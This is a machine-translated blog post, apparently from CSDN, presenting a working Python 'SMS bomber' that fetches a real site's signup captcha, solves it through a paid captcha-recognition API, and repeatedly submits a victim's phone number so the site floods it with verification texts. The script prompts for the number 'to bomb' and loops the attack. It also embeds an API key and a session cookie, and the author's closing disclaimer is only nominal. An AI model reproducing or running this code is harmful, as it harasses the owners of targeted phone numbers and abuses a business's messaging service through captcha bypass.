I made a silly send harassing messages, the results. . .

Brush a small video, find someone using the platform verification code sent harassing messages, pretty much, and then I opened the pages to try.

Here Insert Picture Description
In fact, technology is not difficult, mainly post and then submit the form to send harassing phone verification code.
Here Insert Picture Description
This is the point verification code to get information, so we can get the key and verification picture.
Through this we can save the verification code, then enter the verification code each time looking at the pictures, such conduct again and again send harassing messages
, but this is too much trouble, it is completely mentally retarded behavior. So I think this code can not be allowed to automatically identify, first thought is pytesseract, but tests found a little recognition is very poor, ten times no one can successfully sent. Then go try the automatic identification code of the Web site, try again.
The site identifies the main draws of this blog

Then just tried it, ten times successfully several times

Code

This part of me before I wrote the part with pytesseract also retained

import requests
import json
import pytesseract
from time import sleep
from collections import defaultdict
from PIL import Image, ImageDraw
import sys, os
import base64

# tessdata_dir_config = '--tessdata-dir "c:/Program Files (x86)/Tesseract-OCR/tessdata"'
#
# # 获取图片中像素点数量最多的像素
# def get_threshold(image):
#     pixel_dict = defaultdict(int)
#
#     # 像素及该像素出现次数的字典
#     rows, cols = image.size
#     for i in range(rows):
#         for j in range(cols):
#             pixel = image.getpixel((i, j))
#             pixel_dict[pixel] += 1
#
#     count_max = max(pixel_dict.values()) # 获取像素出现出多的次数
#     pixel_dict_reverse = {v:k for k,v in pixel_dict.items()}
#     threshold = pixel_dict_reverse[count_max] # 获取出现次数最多的像素点
#
#     return threshold
#
# # 按照阈值进行二值化处理
# # threshold: 像素阈值
# def get_bin_table(threshold):
#     # 获取灰度转二值的映射table
#     table = []
#     for i in range(256):
#         rate = 0.1 # 在threshold的适当范围内进行处理
#         if threshold*(1-rate)<= i <= threshold*(1+rate):
#             table.append(1)
#         else:
#             table.append(0)
#     return table
#
# # 去掉二值化处理后的图片中的噪声点
# def cut_noise(image):
#
#     rows, cols = image.size # 图片的宽度和高度
#     change_pos = [] # 记录噪声点位置
#
#     # 遍历图片中的每个点,除掉边缘
#     for i in range(1, rows-1):
#         for j in range(1, cols-1):
#             # pixel_set用来记录该店附近的黑色像素的数量
#             pixel_set = []
#             # 取该点的邻域为以该点为中心的九宫格
#             for m in range(i-1, i+2):
#                 for n in range(j-1, j+2):
#                     if image.getpixel((m, n)) != 1: # 1为白色,0位黑色
#                         pixel_set.append(image.getpixel((m, n)))
#
#             # 如果该位置的九宫内的黑色数量小于等于4,则判断为噪声
#             if len(pixel_set) <= 4:
#                 change_pos.append((i,j))
#
#     # 对相应位置进行像素修改,将噪声处的像素置为1(白色)
#     for pos in change_pos:
#         image.putpixel(pos, 1)
#
#     return image # 返回修改后的图片
#
# # 识别图片中的数字加字母
# # 传入参数为图片路径,返回结果为:识别结果
# def OCR_lmj(img_path):
#     image = Image.open(img_path) # 打开图片文件
#     imgry = image.convert('L')  # 转化为灰度图
#     width=imgry.size[0]*4
#     length=imgry.size[1]*4
#     image = image.resize((width, length), Image.ANTIALIAS)
#     imgry=imgry.resize((width,length),Image.ANTIALIAS)
#     #image.show()
#     #imgry.show()
#     # 获取图片中的出现次数最多的像素,即为该图片的背景
#     max_pixel = get_threshold(imgry)
#
#     # 将图片进行二值化处理
#     # 注意,是否使用二值化要看具体情况,有些图片二值化之后,可能关键信息会丢失,反而识别不出来
#     table = get_bin_table(threshold=70)
#     out = imgry.point(table, '1')
#
#     # 去掉图片中的噪声(孤立点)
#     out = cut_noise(out)
#
#     #保存图片
#     out.save('./变换后验证码.jpg')
#
#     # 仅识别图片中的数字
#     #text = pytesseract.image_to_string(out, config='digits')
#     # 识别图片中的数字和字母
#     text = pytesseract.image_to_string(out,config='--psm 7')
#
#     # 去掉识别结果中的特殊字符
#     exclude_char_list = ' .:\\|\'\"?![],()~@#$%^&*_+-={};<>/¥'
#     text = ''.join([x for x in text if x not in exclude_char_list])
#     #print(text)
#     return text

 # 识别验证码
def verify_code(base64_str):
    appkey = "d33906c525ed719b751c1b40f953816c"
    verify_code_juhe_url = "http://op.juhe.cn/vercode/index"
    print("开始上传云打码")
    url = verify_code_juhe_url
    params = {
        "key": appkey,
        "codeType": "1004",
        "base64Str": base64_str,
        "dtype": "json"
    }
    try:
        res = requests.post(url=url, params=params, timeout=60)
        res = json.loads(res.text)
    except Exception:
        print("上传云打码失败!!!")
    else:
        print("上传云打码成功!!!")
        return res['result']



def get_params():
	response=requests.get("http://www.demlution.com/dapi/verification_code/get_captcha",headers=headers)
    res=list(eval(response.text).values())
    key=res[0]
    img=res[1]
    return key,img


def get_image(img):
    bs=''
    html = requests.get("http://www.demlution.com"+img, headers=headers)
    if html.status_code == 200:
        bs = base64.b64encode(html.content)
        with open( "./%s.jpg" %("验证码"), "wb") as f:
            f.write(html.content)
        f.close()
    return bs


def send(code,mykey):
    #ensure_ascii=False
    r=requests.post('http://www.demlution.com/dapi/verification_code/send_demlution_signup_code',
                    data=json.dumps({"mobile":tel_num,"challenge":code,"key":mykey,"type": "signup"}),
                    headers=headers)
    print(r.text)


def main():
    mykey, img = get_params()
    mykey = str(mykey)
    print(mykey)
    bs=get_image(img)
    code=verify_code(bs)
    code=str(code).upper()
    print(code)
    sleep(2)
    send(code,mykey)

if __name__ == '__main__':
    tessdata_dir_config = '--tessdata-dir "c://Program Files (x86)//Tesseract-OCR//tessdata"'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
        'Cookie': 'da_a=f3d3831b018a4f5ebf27d8f746332044',
        'Referer': 'http://www.demlution.com/'
    }
    tel_num = input("请输入要轰炸的手机号码:")
    for i in range(5):
        main()

Here Insert Picture Description

result:

When I run, I will be ruined. I just met the test user I am very angry, and then the following diagram
Here Insert Picture Description
Key: This is just doing the play with, do not really go harass anyone, I'm not responsible for the consequences, I do not say I would rush to apologize

Published 85 original articles · won praise 55 · views 20000 +

Guess you like

Origin blog.csdn.net/shelgi/article/details/103656863